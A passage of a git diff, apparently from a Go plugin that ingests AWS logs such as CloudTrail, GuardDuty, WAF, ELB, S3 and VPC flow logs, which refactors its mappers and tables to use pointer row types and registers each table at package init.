make([]*rows.CloudTrailLog, len(log.Records)) for i, record := range log.Records { - res[i] = record + res[i] = &record } return res, nil } diff --git a/mappers/cost_usage_mapper.go b/mappers/cost_usage_mapper.go index b1ea16f8..e4e604c3 100644 --- a/mappers/cost_usage_mapper.go +++ b/mappers/cost_usage_mapper.go @@ -18,7 +18,7 @@ type CostAndUsageLogMapper struct { } // NewCostAndUsageMapper creates a new CostAndUsageLogMapper -func NewCostAndUsageMapper() table.Mapper[rows.CostAndUsageLog] { +func NewCostAndUsageMapper() table.Mapper[*rows.CostAndUsageLog] { return &CostAndUsageLogMapper{} } @@ -26,7 +26,7 @@ func (c *CostAndUsageLogMapper) Identifier() string { return "cost_and_usage_mapper" } -func (c *CostAndUsageLogMapper) Map(_ context.Context, a any) ([]rows.CostAndUsageLog, error) { +func (c *CostAndUsageLogMapper) Map(_ context.Context, a any) ([]*rows.CostAndUsageLog, error) { slog.Debug(">> Inside Map") csvData, ok := a.(string) if !ok { @@ -40,12 +40,12 @@ func (c *CostAndUsageLogMapper) Map(_ context.Context, a any) ([]rows.CostAndUsa return nil, err } slog.Debug("<< records", "...", records) - var logs []rows.CostAndUsageLog + var logs []*rows.CostAndUsageLog for _, row := range records { // TODO - find a better way of doing this parsing // this works for now, since the csv columns are fixed and ordered slog.Debug("<< row", "...", row) - log := rows.CostAndUsageLog{ + log := &rows.CostAndUsageLog{ InvoiceID: &row[0], PayerAccountId: &row[1], LinkedAccountId: &row[2], diff --git a/mappers/guardduty_mapper.go b/mappers/guardduty_mapper.go index 80f9b541..f22a755e 100644 --- a/mappers/guardduty_mapper.go +++ b/mappers/guardduty_mapper.go @@ -17,7 +17,7 @@ type GuardDutyMapper struct { } // NewGuardDutyMapper creates a new GuardDutyMapper -func NewGuardDutyMapper() table.Mapper[rows.GuardDutyFinding] { +func NewGuardDutyMapper() table.Mapper[*rows.GuardDutyFinding] { return &GuardDutyMapper{} } @@ -26,7 +26,7 @@ func (g *GuardDutyMapper) Identifier() string { } // Map casts the data item as a GuardDutyBatch and returns the GuardDutyFinding records -func (g *GuardDutyMapper) Map(_ context.Context, a any) ([]rows.GuardDutyFinding, error) { +func (g *GuardDutyMapper) Map(_ context.Context, a any) ([]*rows.GuardDutyFinding, error) { var jsonBytes []byte // The expected input type is a JSON byte[] deserializable to GuardDutyBatch switch v := a.(type) { @@ -46,7 +46,7 @@ func (g *GuardDutyMapper) Map(_ context.Context, a any) ([]rows.GuardDutyFinding } // Populate `GuardDutyFinding` instance with values from `types.Finding` - row := rows.GuardDutyFinding{ + row := &rows.GuardDutyFinding{ AccountId: finding.AccountId, Arn: finding.Arn, Description: finding.Description, @@ -144,5 +144,5 @@ func (g *GuardDutyMapper) Map(_ context.Context, a any) ([]rows.GuardDutyFinding } } } - return []rows.GuardDutyFinding{row}, nil + return []*rows.GuardDutyFinding{row}, nil } diff --git a/mappers/securityhub_finding_mapper.go b/mappers/securityhub_finding_mapper.go index 2263f32e..02e9276b 100644 --- a/mappers/securityhub_finding_mapper.go +++ b/mappers/securityhub_finding_mapper.go @@ -13,7 +13,7 @@ import ( type SecurityHubFindingsMapper struct { } -func NewSecurityHubFindingsMapper() table.Mapper[rows.SecurityHubFindingLog] { +func NewSecurityHubFindingsMapper() table.Mapper[*rows.SecurityHubFindingLog] { res := &SecurityHubFindingsMapper{} return res @@ -23,7 +23,7 @@ func (c *SecurityHubFindingsMapper) Identifier() string { return "securityhub_finding_mapper" } -func (m *SecurityHubFindingsMapper) Map(_ context.Context, a any) ([]rows.SecurityHubFindingLog, error) { +func (m *SecurityHubFindingsMapper) Map(_ context.Context, a any) ([]*rows.SecurityHubFindingLog, error) { var b rows.SecurityHubFindingLog // If `a` is a []uint8, unmarshal it into the expected struct @@ -49,6 +49,6 @@ func (m *SecurityHubFindingsMapper) Map(_ context.Context, a any) ([]rows.Securi dataJsonString := types.JSONString(s) b.DetailFindings = &dataJsonString - return []rows.SecurityHubFindingLog{b}, nil + return []*rows.SecurityHubFindingLog{&b}, nil } diff --git a/mappers/waf_mapper.go b/mappers/waf_mapper.go index f679616d..6009cdd1 100644 --- a/mappers/waf_mapper.go +++ b/mappers/waf_mapper.go @@ -13,7 +13,7 @@ type WafMapper struct { } // NewWafMapper creates a new WafMapper -func NewWafMapper() table.Mapper[rows.WafTrafficLog] { +func NewWafMapper() table.Mapper[*rows.WafTrafficLog] { return &WafMapper{} } @@ -21,7 +21,7 @@ func (c *WafMapper) Identifier() string { return "waf_mapper" } -func (c *WafMapper) Map(_ context.Context, a any) ([]rows.WafTrafficLog, error) { +func (c *WafMapper) Map(_ context.Context, a any) ([]*rows.WafTrafficLog, error) { var jsonBytes []byte switch v := a.(type) { @@ -40,6 +40,5 @@ func (c *WafMapper) Map(_ context.Context, a any) ([]rows.WafTrafficLog, error) return nil, fmt.Errorf("error decoding JSON: %w; partial log: %+v", err, log) } - return []rows.WafTrafficLog{log}, nil + return []*rows.WafTrafficLog{&log}, nil } - diff --git a/rows/cloudtrail.go b/rows/cloudtrail.go index 41ef4787..af5bf6fb 100644 --- a/rows/cloudtrail.go +++ b/rows/cloudtrail.go @@ -12,16 +12,18 @@ type CloudTrailBatch struct { } type CloudTrailLog struct { - // embed required enrichment fields (be sure to skip in parquet) + // embed required enrichment fields enrichment.CommonFields + // TODO json fields should be snake case - these are probably camel case because + // they are coming from the AWS SDK? in which case we should just use a mapper AdditionalEventData *types.JSONString `json:"additionalEventData,omitempty"` APIVersion *string `json:"apiVersion,omitempty"` AwsRegion string `json:"awsRegion"` ErrorCode *string `json:"errorCode,omitempty"` ErrorMessage *string `json:"errorMessage,omitempty"` EventID string `json:"eventID"` - EventName string `json:"eventName"` + EventName string `json:"eventName" parquet:"type=JSON"` EventSource string `json:"eventSource"` EventTime *time.Time `json:"eventTime"` EventType string `json:"eventType"` diff --git a/rows/vpc_flow_log.go b/rows/vpc_flow_log.go index 7f764563..cfeff2b5 100644 --- a/rows/vpc_flow_log.go +++ b/rows/vpc_flow_log.go @@ -5,9 +5,8 @@ import ( "time" ) -// TODO is there an existing amazon sdk type we can use type VpcFlowLog struct { - // embed required enrichment fields (be sure to skip in parquet) + // embed required enrichment fields enrichment.CommonFields Timestamp *time.Time `json:"timestamp,omitempty"` diff --git a/tables/alb_access_log_table.go b/tables/alb_access_log_table.go index 77388843..abf56e25 100644 --- a/tables/alb_access_log_table.go +++ b/tables/alb_access_log_table.go @@ -5,9 +5,8 @@ package tables import ( "context" - "github.com/turbot/tailpipe-plugin-aws/mappers" - "github.com/turbot/tailpipe-plugin-aws/config" + "github.com/turbot/tailpipe-plugin-aws/mappers" "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/enrichment" @@ -15,13 +14,19 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/table" "github.com/turbot/tailpipe-plugin-sdk/types" + "log/slog" ) +// register the table from the package init function +func init() { + table.RegisterTable(NewAlbAccessLogTable) +} + type AlbAccessLogTable struct { table.TableImpl[*rows.AlbAccessLog, *AlbAccessLogTableConfig, *config.AwsConnection] } -func NewAlbAccessLogTable() table.Table { +func NewAlbAccessLogTable() table.Enricher[*rows.AlbAccessLog] { return &AlbAccessLogTable{} } @@ -32,6 +37,10 @@ func (t *AlbAccessLogTable) Init(ctx context.Context, connectionSchemaProvider t // Set the mapper t.Mapper = mappers.NewAlbAccessLogMapper() + + var enricher table.Enricher[*rows.AlbAccessLog] + enricher = t + slog.Info("Enricher: %v", enricher) return nil } @@ -39,7 +48,7 @@ func (t *AlbAccessLogTable) Identifier() string { return "aws_alb_access_log" } -func (t *AlbAccessLogTable) GetRowSchema() any { +func (t *AlbAccessLogTable) GetRowSchema() types.RowStruct { return &rows.AlbAccessLog{} } diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index 1e6a3187..1bde9733 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -19,13 +19,18 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/types" ) +// register the table from the package init function +func init() { + table.RegisterTable(NewCloudTrailLogTable) +} + // CloudTrailLogTable - table for CloudTrailLog logs type CloudTrailLogTable struct { // all tables must embed table.TableImpl - table.TableImpl[rows.CloudTrailLog, *CloudTrailLogTableConfig, *config.AwsConnection] + table.TableImpl[*rows.CloudTrailLog, *CloudTrailLogTableConfig, *config.AwsConnection] } -func NewCloudTrailLogTable() table.Table { +func NewCloudTrailLogTable() table.Enricher[*rows.CloudTrailLog] { return &CloudTrailLogTable{} } @@ -69,7 +74,7 @@ func (c *CloudTrailLogTable) GetSourceOptions(sourceType string) []row_source.Ro } // GetRowSchema implements table.Table -func (c *CloudTrailLogTable) GetRowSchema() any { +func (c *CloudTrailLogTable) GetRowSchema() types.RowStruct { return rows.CloudTrailLog{} } @@ -78,7 +83,7 @@ func (c *CloudTrailLogTable) GetConfigSchema() parse.Config { } // EnrichRow implements table.Table -func (c *CloudTrailLogTable) EnrichRow(row rows.CloudTrailLog, sourceEnrichmentFields *enrichment.CommonFields) (rows.CloudTrailLog, error) { +func (c *CloudTrailLogTable) EnrichRow(row *rows.CloudTrailLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.CloudTrailLog, error) { // initialize the enrichment fields to any fields provided by the source if sourceEnrichmentFields != nil { row.CommonFields = *sourceEnrichmentFields diff --git a/tables/cost_usage_log_table.go b/tables/cost_usage_log_table.go index 7624a676..59e38224 100644 --- a/tables/cost_usage_log_table.go +++ b/tables/cost_usage_log_table.go @@ -18,13 +18,18 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/types" ) +// register the table from the package init function +func init() { + table.RegisterTable(NewCostAndUsageLogTable) +} + // CostAndUsageLogTable - table for CostAndUsageLogs type CostAndUsageLogTable struct { // all tables must embed table.TableImpl - table.TableImpl[rows.CostAndUsageLog, *CostAndUsageLogTableConfig, *config.AwsConnection] + table.TableImpl[*rows.CostAndUsageLog, *CostAndUsageLogTableConfig, *config.AwsConnection] } -func NewCCostAndUsageLogTable() table.Table { +func NewCostAndUsageLogTable() table.Enricher[*rows.CostAndUsageLog] { return &CostAndUsageLogTable{} } @@ -70,7 +75,7 @@ func (c *CostAndUsageLogTable) GetSourceOptions(sourceType string) []row_source. } // GetRowSchema implements table.Table -func (c *CostAndUsageLogTable) GetRowSchema() any { +func (c *CostAndUsageLogTable) GetRowSchema() types.RowStruct { return rows.CostAndUsageLog{} } @@ -79,7 +84,7 @@ func (c *CostAndUsageLogTable) GetConfigSchema() parse.Config { } // EnrichRow implements table.Table -func (c *CostAndUsageLogTable) EnrichRow(row rows.CostAndUsageLog, sourceEnrichmentFields *enrichment.CommonFields) (rows.CostAndUsageLog, error) { +func (c *CostAndUsageLogTable) EnrichRow(row *rows.CostAndUsageLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.CostAndUsageLog, error) { // initialize the enrichment fields to any fields provided by the source if sourceEnrichmentFields != nil { row.CommonFields = *sourceEnrichmentFields diff --git a/tables/cost_and_usage_log_table_config.go b/tables/cost_usage_log_table_config.go similarity index 100% rename from tables/cost_and_usage_log_table_config.go rename to tables/cost_usage_log_table_config.go diff --git a/tables/elb_access_log_table.go b/tables/elb_access_log_table.go index 3bb5681a..4af10117 100644 --- a/tables/elb_access_log_table.go +++ b/tables/elb_access_log_table.go @@ -15,6 +15,11 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/types" ) +// register the table from the package init function +func init() { + table.RegisterTable(NewElbAccessLogTable) +} + const elbLogFormat = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason" $conn_trace_id` const elbLogFormatNoConnTrace = `$type $timestamp $elb $client $target $request_processing_time $target_processing_time $response_processing_time $elb_status_code $target_status_code $received_bytes $sent_bytes "$request" "$user_agent" $ssl_cipher $ssl_protocol $target_group_arn "$trace_id" "$domain_name" "$chosen_cert_arn" $matched_rule_priority $request_creation_time "$actions_executed" "$redirect_url" "$error_reason" "$target_list" "$target_status_list" "$classification" "$classification_reason"` @@ -22,7 +27,7 @@ type ElbAccessLogTable struct { table.TableImpl[*rows.ElbAccessLog, *ElbAccessLogTableConfig, *config.AwsConnection] } -func NewElbAccessLogTable() table.Table { +func NewElbAccessLogTable() table.Enricher[*rows.ElbAccessLog] { return &ElbAccessLogTable{} } @@ -45,7 +50,7 @@ func (c *ElbAccessLogTable) Identifier() string { return "aws_elb_access_log" } -func (c *ElbAccessLogTable) GetRowSchema() any { +func (c *ElbAccessLogTable) GetRowSchema() types.RowStruct { return &rows.ElbAccessLog{} } diff --git a/tables/guardduty_finding_table.go b/tables/guardduty_finding_table.go index abec817a..43357134 100644 --- a/tables/guardduty_finding_table.go +++ b/tables/guardduty_finding_table.go @@ -18,12 +18,17 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/types" ) +// register the table from the package init function +func init() { + table.RegisterTable(NewGuardDutyFindingTable) +} + // GuardDutyFindingTable - table for GuardDuty Findings type GuardDutyFindingTable struct { - table.TableImpl[rows.GuardDutyFinding, *GuardDutyFindingTableConfig, *config.AwsConnection] + table.TableImpl[*rows.GuardDutyFinding, *GuardDutyFindingTableConfig, *config.AwsConnection] } -func NewGuardDutyFindingTable() table.Table { +func NewGuardDutyFindingTable() table.Enricher[*rows.GuardDutyFinding] { return &GuardDutyFindingTable{} } @@ -50,12 +55,12 @@ func (c *GuardDutyFindingTable) GetSourceOptions(sourceType string) []row_source defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ FileLayout: utils.ToStringPointer("AWSLogs/[0-9]+/GuardDuty/[a-z0-9-]+/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/[0-9a-fA-F-]+\\.jsonl\\.gz"), } - opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig),artifact_source.WithRowPerLine()) + opts = append(opts, artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine()) } return opts } -func (c *GuardDutyFindingTable) GetRowSchema() any { +func (c *GuardDutyFindingTable) GetRowSchema() types.RowStruct { return rows.GuardDutyFinding{} } @@ -63,7 +68,7 @@ func (c *GuardDutyFindingTable) GetConfigSchema() parse.Config { return &GuardDutyFindingTableConfig{} } -func (c *GuardDutyFindingTable) EnrichRow(row rows.GuardDutyFinding, sourceEnrichmentFields *enrichment.CommonFields) (rows.GuardDutyFinding, error) { +func (c *GuardDutyFindingTable) EnrichRow(row *rows.GuardDutyFinding, sourceEnrichmentFields *enrichment.CommonFields) (*rows.GuardDutyFinding, error) { if sourceEnrichmentFields != nil { row.CommonFields = *sourceEnrichmentFields } @@ -82,4 +87,4 @@ func (c *GuardDutyFindingTable) EnrichRow(row rows.GuardDutyFinding, sourceEnric row.TpDate = row.CreatedAt.Format("2006-01-02") return row, nil -} \ No newline at end of file +} diff --git a/tables/guard_duty_finding_table_config.go b/tables/guardduty_finding_table_config.go similarity index 98% rename from tables/guard_duty_finding_table_config.go rename to tables/guardduty_finding_table_config.go index ca6f86ad..fa7f0702 100644 --- a/tables/guard_duty_finding_table_config.go +++ b/tables/guardduty_finding_table_config.go @@ -4,4 +4,4 @@ type GuardDutyFindingTableConfig struct{} func (c *GuardDutyFindingTableConfig) Validate() error { return nil -} \ No newline at end of file +} diff --git a/tables/lambda_log_table.go b/tables/lambda_log_table.go index 0690fa4f..b1f73240 100644 --- a/tables/lambda_log_table.go +++ b/tables/lambda_log_table.go @@ -1,111 +1,98 @@ package tables -import ( - "fmt" - "strconv" - "strings" - "time" - - "github.com/rs/xid" - "github.com/turbot/tailpipe-plugin-aws/config" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/artifact_source" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/parse" - "github.com/turbot/tailpipe-plugin-sdk/row_source" - "github.com/turbot/tailpipe-plugin-sdk/table" -) - -type LambdaLogTable struct { - // all tables must embed table.TableImpl - table.TableImpl[string, *LambdaLogTableConfig, *config.AwsConnection] -} - -func NewLambdaLogTable() table.Table { - return &LambdaLogTable{} -} - -func (c *LambdaLogTable) Identifier() string { - return "aws_lambda_log" -} - -func (c *LambdaLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { - return []row_source.RowSourceOption{ - artifact_source.WithRowPerLine(), - } -} - -func (c *LambdaLogTable) GetRowSchema() any { - return &rows.AwsLambdaLog{} -} - -func (c *LambdaLogTable) GetConfigSchema() parse.Config { - return &LambdaLogTableConfig{} -} - -// TODO K why does this not fail to compile? -func (c *LambdaLogTable) EnrichRow(rawRow string, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { - var row rows.AwsLambdaLog - if sourceEnrichmentFields != nil { - row.CommonFields = *sourceEnrichmentFields - - ts := sourceEnrichmentFields.TpTimestamp - row.Timestamp = &ts - } - - // remove trailing newline - rawRow = strings.TrimSuffix(rawRow, "\n") - fields := strings.Fields(rawRow) - - switch fields[0] { - case "START", "END": - row.LogType = &fields[0] - row.RequestID = &fields[2] - case "REPORT": - row.LogType = &fields[0] - row.RequestID = &fields[2] - duration, err := strconv.ParseFloat(fields[4], 64) - if err != nil { - return nil, fmt.Errorf("error parsing duration: %w", err) - } - row.Duration = &duration - billed, err := strconv.ParseFloat(fields[8], 64) - if err != nil { - return nil, fmt.Errorf("error parsing billed duration: %w", err) - } - row.BilledDuration = &billed - mem, err := strconv.Atoi(fields[12]) - if err != nil { - return nil, fmt.Errorf("error parsing memory size: %w", err) - } - row.MemorySize = &mem - maxMem, err := strconv.Atoi(fields[17]) - if err != nil { - return nil, fmt.Errorf("error parsing max memory used: %w", err) - } - row.MaxMemoryUsed = &maxMem - default: - t := "LOG" - row.LogType = &t - // TODO: #enrich should we overwrite the timestamp with that in the log entry? - row.RequestID = &fields[1] - row.LogLevel = &fields[2] - strip := fmt.Sprintf("%s%s", strings.Join(fields[:3], "\t"), "\t") - stripped := strings.TrimPrefix(rawRow, strip) - row.Message = &stripped - } - - // Record standardization - row.TpID = xid.New().String() - row.TpIngestTimestamp = time.Now() - - // Hive fields - row.TpPartition = c.Identifier() - if row.TpIndex == "" { - row.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) - } - // convert to date in format yy-mm-dd - row.TpDate = row.Timestamp.Format("2006-01-02") - - return row, nil -} +// TODO this table need updating to use a RowStruct which embeds CommonFields +// +// +//type LambdaLogTable struct { +// // all tables must embed table.TableImpl +// table.TableImpl[string, *LambdaLogTableConfig, *config.AwsConnection] +//} +// +//func NewLambdaLogTable() table.Table { +// return &LambdaLogTable{} +//} +// +//func (c *LambdaLogTable) Identifier() string { +// return "aws_lambda_log" +//} +// +//func (c *LambdaLogTable) GetSourceOptions(sourceType string) []row_source.RowSourceOption { +// return []row_source.RowSourceOption{ +// artifact_source.WithRowPerLine(), +// } +//} +// +//func (c *LambdaLogTable) GetRowSchema() types.Validatable { +// return &rows.AwsLambdaLog{} +//} +// +//func (c *LambdaLogTable) GetConfigSchema() parse.Config { +// return &LambdaLogTableConfig{} +//} +// +//// TODO K why does this not fail to compile? +//func (c *LambdaLogTable) EnrichRow(rawRow string, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { +// var row rows.AwsLambdaLog +// if sourceEnrichmentFields != nil { +// row.CommonFields = *sourceEnrichmentFields +// +// ts := sourceEnrichmentFields.TpTimestamp +// row.Timestamp = &ts +// } +// +// // remove trailing newline +// rawRow = strings.TrimSuffix(rawRow, "\n") +// fields := strings.Fields(rawRow) +// +// switch fields[0] { +// case "START", "END": +// row.LogType = &fields[0] +// row.RequestID = &fields[2] +// case "REPORT": +// row.LogType = &fields[0] +// row.RequestID = &fields[2] +// duration, err := strconv.ParseFloat(fields[4], 64) +// if err != nil { +// return nil, fmt.Errorf("error parsing duration: %w", err) +// } +// row.Duration = &duration +// billed, err := strconv.ParseFloat(fields[8], 64) +// if err != nil { +// return nil, fmt.Errorf("error parsing billed duration: %w", err) +// } +// row.BilledDuration = &billed +// mem, err := strconv.Atoi(fields[12]) +// if err != nil { +// return nil, fmt.Errorf("error parsing memory size: %w", err) +// } +// row.MemorySize = &mem +// maxMem, err := strconv.Atoi(fields[17]) +// if err != nil { +// return nil, fmt.Errorf("error parsing max memory used: %w", err) +// } +// row.MaxMemoryUsed = &maxMem +// default: +// t := "LOG" +// row.LogType = &t +// // TODO: #enrich should we overwrite the timestamp with that in the log entry? +// row.RequestID = &fields[1] +// row.LogLevel = &fields[2] +// strip := fmt.Sprintf("%s%s", strings.Join(fields[:3], "\t"), "\t") +// stripped := strings.TrimPrefix(rawRow, strip) +// row.Message = &stripped +// } +// +// // Record standardization +// row.TpID = xid.New().String() +// row.TpIngestTimestamp = time.Now() +// +// // Hive fields +// row.TpPartition = c.Identifier() +// if row.TpIndex == "" { +// row.TpIndex = c.Identifier() // TODO: #refactor figure out how to get connection (account ID?) +// } +// // convert to date in format yy-mm-dd +// row.TpDate = row.Timestamp.Format("2006-01-02") +// +// return row, nil +//} diff --git a/tables/s3_server_access_log_table.go b/tables/s3_server_access_log_table.go index 925018cc..9d0ea87d 100644 --- a/tables/s3_server_access_log_table.go +++ b/tables/s3_server_access_log_table.go @@ -15,6 +15,11 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/types" ) +// register the table from the package init function +func init() { + table.RegisterTable(NewS3ServerAccessLogTable) +} + const s3ServerAccessLogFormat = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn $acl_required` const s3ServerAccessLogFormatReduced = `$bucket_owner $bucket [$timestamp] $remote_ip $requester $request_id $operation $key "$request_uri" $http_status $error_code $bytes_sent $object_size $total_time $turn_around_time "$referer" "$user_agent" $version_id $host_id $signature_version $cipher_suite $authentication_type $host_header $tls_version $access_point_arn` @@ -22,7 +27,7 @@ type S3ServerAccessLogTable struct { table.TableImpl[*rows.S3ServerAccessLog, *S3ServerAccessLogTableConfig, *config.AwsConnection] } -func NewS3ServerAccessLogTable() table.Table { +func NewS3ServerAccessLogTable() table.Enricher[*rows.S3ServerAccessLog] { return &S3ServerAccessLogTable{} } @@ -45,7 +50,7 @@ func (c *S3ServerAccessLogTable) Identifier() string { return "aws_s3_server_access_log" } -func (c *S3ServerAccessLogTable) GetRowSchema() any { +func (c *S3ServerAccessLogTable) GetRowSchema() types.RowStruct { return rows.NewS3ServerAccessLog() } @@ -59,7 +64,7 @@ func (c *S3ServerAccessLogTable) GetSourceOptions(sourceType string) []row_sourc } } -func (c *S3ServerAccessLogTable) EnrichRow(row *rows.S3ServerAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (any, error) { +func (c *S3ServerAccessLogTable) EnrichRow(row *rows.S3ServerAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.S3ServerAccessLog, error) { // TODO: #validate ensure we have a timestamp field // add any source enrichment fields diff --git a/tables/securityhub_finding_log_table.go b/tables/securityhub_finding_log_table.go index dc06c776..16afd862 100644 --- a/tables/securityhub_finding_log_table.go +++ b/tables/securityhub_finding_log_table.go @@ -16,12 +16,17 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/types" ) +// register the table from the package init function +func init() { + table.RegisterTable(NewSecurityHubFindingLogTable) +} + type SecurityHubFindingLogTable struct { // all tables must embed table.TableImpl - table.TableImpl[rows.SecurityHubFindingLog, *SecurityHubFindingLogTableConfig, *config.AwsConnection] + table.TableImpl[*rows.SecurityHubFindingLog, *SecurityHubFindingLogTableConfig, *config.AwsConnection] } -func NewSecurityHubFindingLogTable() table.Table { +func NewSecurityHubFindingLogTable() table.Enricher[*rows.SecurityHubFindingLog] { return &SecurityHubFindingLogTable{} } @@ -60,7 +65,7 @@ func (c *SecurityHubFindingLogTable) initMapper() { c.Mapper = mappers.NewSecurityHubFindingsMapper() } -func (c *SecurityHubFindingLogTable) GetRowSchema() any { +func (c *SecurityHubFindingLogTable) GetRowSchema() types.RowStruct { return &rows.SecurityHubFindingLog{} } @@ -68,8 +73,7 @@ func (c *SecurityHubFindingLogTable) GetConfigSchema() parse.Config { return &SecurityHubFindingLogTableConfig{} } -// TODO K why does this not fail to compile? -func (c *SecurityHubFindingLogTable) EnrichRow(row rows.SecurityHubFindingLog, sourceEnrichmentFields *enrichment.CommonFields) (rows.SecurityHubFindingLog, error) { +func (c *SecurityHubFindingLogTable) EnrichRow(row *rows.SecurityHubFindingLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.SecurityHubFindingLog, error) { if sourceEnrichmentFields != nil { row.CommonFields = *sourceEnrichmentFields } diff --git a/tables/vpc_flow_log_table.go b/tables/vpc_flow_log_table.go index 06288e0c..ecff19b0 100644 --- a/tables/vpc_flow_log_table.go +++ b/tables/vpc_flow_log_table.go @@ -14,13 +14,18 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/types" ) +// register the table from the package init function +func init() { + table.RegisterTable(NewVPCFlowLogLogTable) +} + // VPCFlowLogLogTable - table for VPC Flow Logs type VPCFlowLogLogTable struct { // all tables must embed table.TableImpl table.TableImpl[*rows.VpcFlowLog, *VpcFlowLogTableConfig, *config.AwsConnection] } -func NewVPCFlowLogLogTable() table.Table { +func NewVPCFlowLogLogTable() table.Enricher[*rows.VpcFlowLog] { return &VPCFlowLogLogTable{} } @@ -46,7 +51,7 @@ func (c *VPCFlowLogLogTable) Identifier() string { // GetRowSchema implements table.Table // return an instance of the row struct -func (c *VPCFlowLogLogTable) GetRowSchema() any { +func (c *VPCFlowLogLogTable) GetRowSchema() types.RowStruct { return rows.VpcFlowLog{} } diff --git a/tables/waf_traffic_log_table.go b/tables/waf_traffic_log_table.go index 75af2471..a50a34cf 100644 --- a/tables/waf_traffic_log_table.go +++ b/tables/waf_traffic_log_table.go @@ -19,13 +19,18 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/types" ) +// register the table from the package init function +func init() { + table.RegisterTable(NewWafTrafficLogTable) +} + // WafTrafficLogTable - table for Waf traffic logs type WafTrafficLogTable struct { // all tables must embed table.TableImpl - table.TableImpl[rows.WafTrafficLog, *WafTrafficLogTableConfig, *config.AwsConnection] + table.TableImpl[*rows.WafTrafficLog, *WafTrafficLogTableConfig, *config.AwsConnection] } -func NewWafTrafficLogTable() table.Table { +func NewWafTrafficLogTable() table.Enricher[*rows.WafTrafficLog] { return &WafTrafficLogTable{} } @@ -69,7 +74,7 @@ func (c *WafTrafficLogTable) GetSourceOptions(sourceType string) []row_source.Ro } // GetRowSchema implements table.Table -func (c *WafTrafficLogTable) GetRowSchema() any { +func (c *WafTrafficLogTable) GetRowSchema() types.RowStruct { return rows.WafTrafficLog{} } @@ -78,8 +83,7 @@ func (c *WafTrafficLogTable) GetConfigSchema() parse.Config { } // EnrichRow implements table.Table -func (c *WafTrafficLogTable) EnrichRow(row rows.WafTrafficLog, sourceEnrichmentFields *enrichment.CommonFields) (rows.WafTrafficLog, error) { - // initialize the enrichment fields to any fields provided by the source +func (c *WafTrafficLogTable) EnrichRow(row *rows.WafTrafficLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.WafTrafficLog, error) { // initialize the enrichment fields to any fields provided by the source if sourceEnrichmentFields != nil { row.CommonFields = *sourceEnrichmentFields } From ff5fe503cf0ceb402a1cfcb14bc6dc1d499fd02f Mon Sep 17 00:00:00 2001 From: kai Date: Wed, 13 Nov 2024 12:43:34 +0700 Subject: [PATCH 082/180] remove unneeded column tags --- rows/elb_access_log.go | 64 +++++++++++++++++++++--------------------- 1 file changed, 32 insertions(+), 32 deletions(-) diff --git a/rows/elb_access_log.go b/rows/elb_access_log.go index fffd3a62..57740caf 100644 --- a/rows/elb_access_log.go +++ b/rows/elb_access_log.go @@ -12,38 +12,38 @@ import ( type ElbAccessLog struct { enrichment.CommonFields - Type string `json:"type" column:"type"` - Timestamp time.Time `json:"timestamp" column:"timestamp"` - Elb string `json:"elb" column:"elb"` - ClientIP string `json:"client_ip" column:"client"` - ClientPort int `json:"client_port" column:"client_port"` - TargetIP *string `json:"target_ip,omitempty" column:"target"` - TargetPort int `json:"target_port,omitempty" column:"target_port"` - RequestProcessingTime float64 `json:"request_processing_time" column:"request_processing_time"` - TargetProcessingTime float64 `json:"target_processing_time" column:"target_processing_time"` - ResponseProcessingTime float64 `json:"response_processing_time" column:"response_processing_time"` - ElbStatusCode *int `json:"elb_status_code,omitempty" column:"elb_status_code"` - TargetStatusCode *int `json:"target_status_code,omitempty" column:"target_status_code"` - ReceivedBytes *int64 `json:"received_bytes" column:"received_bytes"` - SentBytes *int64 `json:"sent_bytes" column:"sent_bytes"` - Request string `json:"request" column:"request"` - UserAgent string `json:"user_agent" column:"user_agent"` - SslCipher string `json:"ssl_cipher" column:"ssl_cipher"` - SslProtocol string `json:"ssl_protocol" column:"ssl_protocol"` - TargetGroupArn string `json:"target_group_arn" column:"target_group_arn"` - TraceID string `json:"trace_id" column:"trace_id"` - DomainName string `json:"domain_name" column:"domain_name"` - ChosenCertArn string `json:"chosen_cert_arn" column:"chosen_cert_arn"` - MatchedRulePriority int `json:"matched_rule_priority" column:"matched_rule_priority"` - RequestCreationTime time.Time `json:"request_creation_time" column:"request_creation_time"` - ActionsExecuted 